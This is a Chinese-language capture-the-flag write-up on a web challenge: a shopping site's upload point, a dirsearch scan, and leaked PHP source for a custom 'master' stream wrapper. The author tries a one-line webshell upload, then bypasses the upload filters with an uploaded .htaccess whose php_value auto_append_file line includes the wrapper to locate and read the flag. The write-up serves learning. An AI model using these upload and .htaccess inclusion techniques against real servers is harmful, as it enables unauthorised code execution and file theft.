
题目是一个购物网站,个人中心中有个上传点,但是点击后提示
其他地方也就是普普通通的购物流程,看起来应该就是上传漏洞。
试了下上传一句话,发现居然上传成功了,但是不知道上传到哪里去了,使用dirsearch扫描下,看到了uploads目录,顺带还有robots.txt、config.txt、sql.txt
[10:46:46] 500 - 0B - /config.php[10:46:46] 200 - 2KB - /config.txt[10:46:49] 200 - 8KB - /index[10:46:49] 200 - 1KB - /index.html[10:46:49] 200 - 0B - /index.php[10:46:49] 200 - 0B - /index.php/login/[10:46:49] 200 - 1KB - /info.php[10:46:49] 200 - 499B - /info.html[10:46:50] 200 - 3KB - /login[10:46:50] 200 - 1KB - /login.html[10:46:50] 200 - 3KB - /login.php[10:46:50] 200 - 0B - /logout[10:46:50] 200 - 0B - /logout.php[10:46:54] 200 - 4KB - /register.php[10:46:54] 200 - 4KB - /register[10:46:54] 200 - 2KB - /register.html[10:46:54] 200 - 987B - /reset.html[10:46:54] 200 - 21B - /robots.txt[10:46:54] 200 - 13B - /search.php[10:46:54] 403 - 306B - /server-status[10:46:54] 403 - 307B - /server-status/[10:46:54] 200 - 8KB - /shop[10:46:55] 200 - 457B - /sql.txt[10:46:55] 301 - 328B - /static -> http://111.200.241.244:59933/static/[10:46:56] 200 - 13B - /upload.php[10:46:56] 200 - 5KB - /uploads/[10:46:56] 200 - 12B - /user.php[10:46:56] 200 - 12B - /user[10:46:56] 301 - 329B - /uploads -> http://111.200.241.244:59933/uploads/[10:46:56] 200 - 284B - /user.html
先去uploads目录看下,
在其中一个文件夹中找到了上传的一句话,但是打开后发现<,"被替换成!,想要绕过这个感觉不太现实,只能去看看刚才扫到的其他东西。
在config.txt中看到了源码:
<?phpclass master{private $path;private $name;function __construct(){}function stream_open($path){if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))return 1;$a=$array[1];parse_str($array[2],$array);if(isset($array['path'])){$this->path=$array['path'];}elsereturn 1;if(isset($array['name'])){$this->name=$array['name'];}elsereturn 1;if($a==='upload'){return $this->upload($this->path,$this->name);}elseif($a==='search'){return $this->search($this->path,$this->name);}elsereturn 1;}function upload($path,$name){if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))return 1;$filename=$_FILES[$name]['name'];echo $filename;$file=file_get_contents($_FILES[$name]['tmp_name']);$file=str_replace('<','!',$file);$file=str_replace(urldecode('%03'),'!',$file);$file=str_replace('"','!',$file);$file=str_replace("'",'!',$file);$file=str_replace('.','!',$file);if(preg_match('/file:|http|pre|etc/is',$file)){echo 'illegalbbbbbb!';return 1;}file_put_contents($path.$filename,$file);file_put_contents($path.'user.jpg',$file);echo 'upload success!';return 1;}function search($path,$name){if(!is_dir($path)){echo 'illegal!';return 1;}$files=scandir($path);echo '</br>';foreach($files as $k=>$v){if(str_ireplace($name,'',$v)!==$v){echo $v.'</br>';}}return 1;}function stream_eof(){return true;}function stream_read(){return '';}function stream_stat(){return '';}}stream_wrapper_unregister('php');stream_wrapper_unregister('phar');stream_wrapper_unregister('zip');stream_wrapper_register('master','master');?>
这段代码意思是将php,phar,zip这三个伪协议禁用,并自己注册一个master伪协议,实现父类stream_open方法,stream_open在包装器初始化时立即调用。
master协议有两个方法,一个是upload,可以看到里面还是有过滤,走不通,另一个是search方法,给出要搜索的路径和文件名,将搜索到的文件打印出来。
那么我们就可以使用master协议,搜索flag,但是要使用master协议,就必须有个文件包含的地方,但是找不到,因为文件过滤,也没办法用php文件自己构造。
最后看了大佬的writeup,才知道还有.htaccess文件可以用。
上传.htaccess文件,内容为
php_value auto_append_file master://search/path=%2fhome%2f&name=flag
这段命令相当于自动在php文件后面加上require();,将伪协议直接包含在php文件中,自己在随便上传一个php文件,访问,就可以拿到flag的路径。
拿到路径之后,继续使用php_value包含就可以得到内容。
